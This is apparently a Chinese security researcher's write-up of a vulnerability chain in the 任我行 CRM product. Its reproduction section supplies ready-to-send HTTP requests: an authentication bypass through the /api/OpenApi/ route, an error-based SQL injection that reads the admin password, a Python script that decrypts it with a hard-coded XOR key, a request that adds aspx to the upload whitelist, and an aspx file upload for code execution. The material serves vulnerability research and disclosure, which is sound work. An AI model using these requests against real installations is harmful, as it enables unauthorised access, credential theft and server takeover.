PS: 上半年的洞,基本上都修复了。测试版本是普及版2024/02。
漏洞分析
逻辑绕过访问api接口
任我行CRM采用.net MVC架构编写,有两个主要的基类:Controller和ApiController。这两个基类在系统实现中,访问控制逻辑不太一样。
CrmBaseController继承了Controller,几乎是系统所有自定义Action的基类,在其Initialize方法中做了一个简单的访问校验,代码如下:
这里仅对GET请求做了限制,当访问的Action接口是POST时,就可以过掉这里。但翻看几乎所有的Controller子类,在进行数据库CURD操作之前,都会通过base.CRMContext来获取数据库实例,该值会从GraspCRMLoginUser.curloginUser中获取,这是一个登陆后的上下文,所以在未授权访问之前,base.CRMContext为null,导致几乎所有继承Controller子类的action访问不了。
ApiController主要是通过/api/*来访问到系统实现的Action,并且访问控制的逻辑是在GraspCRMLoginUser.curloginUser中实现的,具体代码如下:
这里的逻辑是如果访问的是/api/OpenApi/*并且请求参数中带有accesstoken、timestamp、nonce、signature即可获取一个管理员的LoginUserInfo。
按照正常逻辑来说,OpenApiBaseApiController里面设置了一个filter过滤器,ApiSecurityAttribute:
ApiSecurityAttribute代码如下:
这里会校验accesstoken是否存在。但继承ApiController的api接口不止OpenApiBaseApiController这一个,其他的apiController并没有实现filter,利用MVC模式的特性,可以通过访问/api/OpenApi/[Other controller]/[method]?[需要的参数值]来实现登陆绕过。
sqli注入获取加密密码
在CommonDictController下有个Edit方法存在SQL注入
最终会进入到GetWhere方法,其中Name值可控
结合上面分析,构造如下数据包:
POST /crm/api/OpenApi/CommonDict/Edit?accesstoken=1&accesskey=1×tamp=1&nonce=1&signature=1 HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
enumType=69&data={"ID":"1","Name":"'+and+1=(select+top+1+Password+from+CRM_LoginUser)--"}
通过报错注入获取密码(如果默认搭建,密码为空,Message为"")
该套系统的密码是密文存储,但加密方式很简单,就是一个和key异或的操作,且key是硬编码,使用如下脚本可直接解密获取密码:
def decrypt(encrypted_str):
if len(encrypted_str) == 0:
return encrypted_str
key = "AceCRMBestLover"
key_length = len(key)
decrypted_str = ""
encrypted_parts = encrypted_str.split('+')
for encrypted_part in encrypted_parts:
if encrypted_part != '':
decrypted_part = int(encrypted_part) - 13
decrypted_str += chr(decrypted_part)
decrypted_array = list(decrypted_str)
for i in range(0, len(decrypted_array), key_length):
for j in range(key_length):
if i + j < len(decrypted_array):
decrypted_array[i + j] = chr(ord(decrypted_array[i + j]) ^ ord(key[j]))
if ord(decrypted_array[i + j]) == 0:
decrypted_array[i + j] = key[j]
return ''.join(decrypted_array)
encrypted_text = "61+33+114+127+109+139+131+"
decrypted_text = decrypt(encrypted_text)
print("Decrypted Text:", decrypted_text)
这里解密出来为:Decrypted Text: qwe1234
auth任意文件上传
在/Handlers/AnnexUploadHandler.ashx这个路由方法中存在文件上传的功能,具体代码如下:
和之前RCE的方式一样了,这里有上传文件后缀限制,即annexConfigInfo.UploadFileExtType,但是可以通过访问/SystemManage/SystemConfigIndex/新增白名单,导致可以直接上传aspx文件实现任意代码执行。
漏洞复现
1、获取管理员密码(admin)
POST /crm/api/OpenApi/CommonDict/Edit?accesstoken=1&accesskey=1×tamp=1&nonce=1&signature=1 HTTP/1.1
Host:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
enumType=69&data={"ID":"1","Name":"'+and+1=(select+top+1+Password+from+CRM_LoginUser)--"}
通过上面的脚本解密密码,登陆即可
2、新增上传文件后缀白名单
POST /crm/SystemManage/SystemConfigIndex/ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101Firefox/109.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Cookie: ASP.NET_SessionId=i2mvpfgzhhmdbsozmuzjid2a
Content-Length: 870
Content-Type: application/x-www-form-urlencoded
CorpName=1&CorpAddress=1&CorpPhone=028-85311111&CorpFax=028-11111111&CorpWebSiteHome=http%3A%2F%2Fwww.wecrm.com&Post=610046&LimitLoginIP=true&FullIndexEnable=true&IsAutoConvertPic=false&AdminAccountIpBind=false&AdminAccountIPBindAddress=&EnabledCountdown=true&CountdownTitle=234&CountdownTime=2012-09-30&UploadFileMaxSize=10240&UploadFileExtType=gif%2Cpng%2Cjpge%2Cjpg%2Cbmp%2Crar%2Czip%2C7z%2Cxls%2Cmpp%2Cppt%2Cxlsx%2Cdoc%2Cdocx%2Cpptx%2Cswf%2Cflv%2Cpsd%2Ctxt%2Crtf%2Ciso%2Cdwg%2Ccdr%2Cngr%2Ctt+f%2Cavi%2Crmvb%2Cmpp%2Cvsd%2Cmts%2Cwav%2Cmp3%2Cwma%2Caspx&MobileUploadOtherFile=false&AllowExportMaxPageCount=20&MaxMessageKeepDate=7&ImShowHeadPic=true&MsgReceiveMethod=Queue&RepeatLogin=true&AutoUpGrade=false&AutoUpGradeNotifier=&LoginPosition=1&LoginBackImgType=1&QtyPrecision=4&PricePrecision=4&TotalPrecision=4&DiscountPrecision=2&TaxRatePrecision=0&DiscountFirst=false
3、上传webshell
POST /crm/Handlers/AnnexUploadHandler.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101Firefox/109.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Cookie: ASP.NET_SessionId=aukk3stvf1xekvrxmiergjdn
Content-Length: 655
Content-Type: multipart/form-data; boundary=8c762bd4e8b2ad796aee7d4bd1efba65
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="filename"; filename="1.aspx"
<%= "hacked!" %>
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="imgCompressWidth"; filename="imgCompressWidth"
100
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="imgCompressHeight"; filename="imgCompressHeight"
100
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="isTemp"; filename="isTemp"
false
--8c762bd4e8b2ad796aee7d4bd1efba65
Content-Disposition: form-data; name="isSynWeixin"; filename="isSynWeixin"
false
--8c762bd4e8b2ad796aee7d4bd1efba65--
访问返回的文件名即可: